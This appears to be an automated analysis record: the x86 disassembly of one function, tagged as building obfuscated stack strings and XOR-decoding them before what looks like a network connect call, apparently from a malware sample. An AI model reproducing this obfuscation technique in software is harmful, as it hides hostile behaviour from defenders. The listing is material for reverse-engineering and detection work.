Function at 0x44215b
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push 0xa0
mov eax, 0x46efb1
call fcn.0046c4ec
mov al, 0x2d
mov dword [ebp - 0x20], 0x414c5a71
movsx ecx, al
xor ebx, ebx
mov byte [ebp - 0x48], al
mov dword [ebp - 0x1c], 0x3594841
mov dword [ebp - 0x18], 0x594c49
call fcn.0043e927
push 8
mov dword [ebp - 0xa4], eax
mov edx, ebx
pop edi
push edx
lea ecx, [ebp - 0xa4]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x44], eax
inc edx
pop ecx
cmp edx, edi
jl 0x442199
push 0xb
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x48]
mov dword [ebp - 0x24], eax
call fcn.0043e927
mov dword [ebp - 0xa4], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xa4]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x44], eax
inc edx
pop ecx
cmp edx, edi
jl 0x4421d2
push dword [0x4874a0]
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x24]
call fcn.0043ecf9
mov esi, eax
test esi, esi
jne 0x442204
mov esi, ebx
jmp 0x442215
mov cl, byte [ebp - 0x48]
mov eax, ebx
xor byte [esi + eax], cl
inc eax
cmp eax, 0xb
jb 0x442209
mov byte [esi + 0xb], bl
mov al, 0x4d
mov dword [ebp - 0x20], 0x93f393e
movsx ecx, al
mov byte [ebp - 0x48], al
mov dword [ebp - 0x1c], 0x92c392c
mov word [ebp - 0x18], 0x3f24
mov byte [ebp - 0x16], bl
call fcn.0043e927
mov dword [ebp - 0xa4], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xa4]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x44], eax
inc edx
pop ecx
cmp edx, edi
jl 0x442241
push 0xa
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x48]
mov dword [ebp - 0x24], eax
call fcn.0043e927
mov dword [ebp - 0xa4], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xa4]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x44], eax
inc edx
pop ecx
cmp edx, edi
jl 0x44227a
push dword [0x4874a0]
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x24]
call fcn.0043ecf9
test eax, eax
jne 0x4422aa
mov eax, ebx
jmp 0x4422bb
mov dl, byte [ebp - 0x48]
mov ecx, ebx
xor byte [ecx + eax], dl
inc ecx
cmp ecx, 0xa
jb 0x4422af
mov byte [eax + 0xa], bl
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xac], esp
push eax
call fcn.00450b02
mov dword [ebp - 4], ebx
mov al, 0x76
movaps xmm0, xmmword [0x47de80]
movsx ecx, al
mov byte [ebp - 0x54], al
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x5b1e0517
mov word [ebp - 0x18], 0x227
mov byte [ebp - 0x16], bl
call fcn.0043e927
mov dword [ebp - 0xa4], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xa4]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x50], eax
inc edx
pop ecx
cmp edx, edi
jl 0x4422ff
push 0x16
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x54]
mov dword [ebp - 0x30], eax
call fcn.0043e927
mov dword [ebp - 0xa4], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xa4]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x50], eax
inc edx
pop ecx
cmp edx, edi
jl 0x442338
push dword [0x4874a0]
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x30]
call fcn.0043ecf9
test eax, eax
jne 0x442368
mov eax, ebx
jmp 0x442379
mov dl, byte [ebp - 0x54]
mov ecx, ebx
xor byte [ecx + eax], dl
inc ecx
cmp ecx, 0x16
jb 0x44236d
mov byte [eax + 0x16], bl
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00450b02
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa0]
mov edx, connect
call fcn.0044096b
xor ecx, ecx
mov edx, eax
inc ecx
mov dword [ebp - 4], ecx
lea ecx, [ebp - 0x70]
push esi
call fcn.00451348
add esp, 0x34
lea ecx, [ebp - 0xa0]
call fcn.00450a63
mov byte [ebp - 4], 4
lea edx, [ebp - 0x70]
mov byte [ebp - 0xa4], bl
lea ecx, [ebp - 0x88]
push dword [ebp - 0xa4]
call fcn.00452662
pop ecx
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 5
call fcn.0043ff6d
lea ecx, [ebp - 0x88]
mov byte [ebp - 0xa5], al
mov byte [ebp - 4], 4
call fcn.00450c8d
cmp byte [ebp - 0xa5], 0
je 0x4424f5
cmp dword [ebp - 0x5c], 0x10
lea esi, [ebp - 0x70]
movaps xmm0, xmmword [0x47e010]
mov al, 6
cmovae esi, dword [ebp - 0x70]
movsx ecx, al
mov byte [ebp - 0x58], al
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0x6a67715a
mov dword [ebp - 0x1c], 0x2872636a
mov dword [ebp - 0x18], 0x726762
call fcn.0043e927
mov dword [ebp - 0xa4], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xa4]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x54], eax
inc edx
pop ecx
cmp edx, edi
jl 0x442447
push 0x1b
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x58]
mov dword [ebp - 0x34], eax
call fcn.0043e927
mov dword [ebp - 0xa4], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xa4]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x54], eax
inc edx
pop ecx
cmp edx, edi
jl 0x442480
push dword [0x4874a0]
lea eax, [ebp - 0x54]
push eax
push dword [ebp - 0x34]
call fcn.0043ecf9
test eax, eax
jne 0x4424b0
mov eax, ebx
jmp 0x4424c1
mov dl, byte [ebp - 0x58]
mov ecx, ebx
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0x1b
jb 0x4424b5
mov byte [eax + 0x1b], bl
mov ecx, dword [0x48726c]
mov edx, eax
push 2
push ebx
push esi
call fcn.0042dc39
mov al, byte [0x48724d]
add esp, 0xc
movzx ecx, al
test al, al
push 1
pop eax
cmove ecx, eax
mov byte [0x48724d], cl
jmp 0x4424f5
cmp dword [ebp - 0x5c], 0x10
lea eax, [ebp - 0x70]
mov dword [ebp - 0x60], ebx
lea ecx, [ebp - 0x70]
cmovae eax, dword [ebp - 0x70]
mov byte [eax], bl
call fcn.00450a63
call fcn.0046c439
ret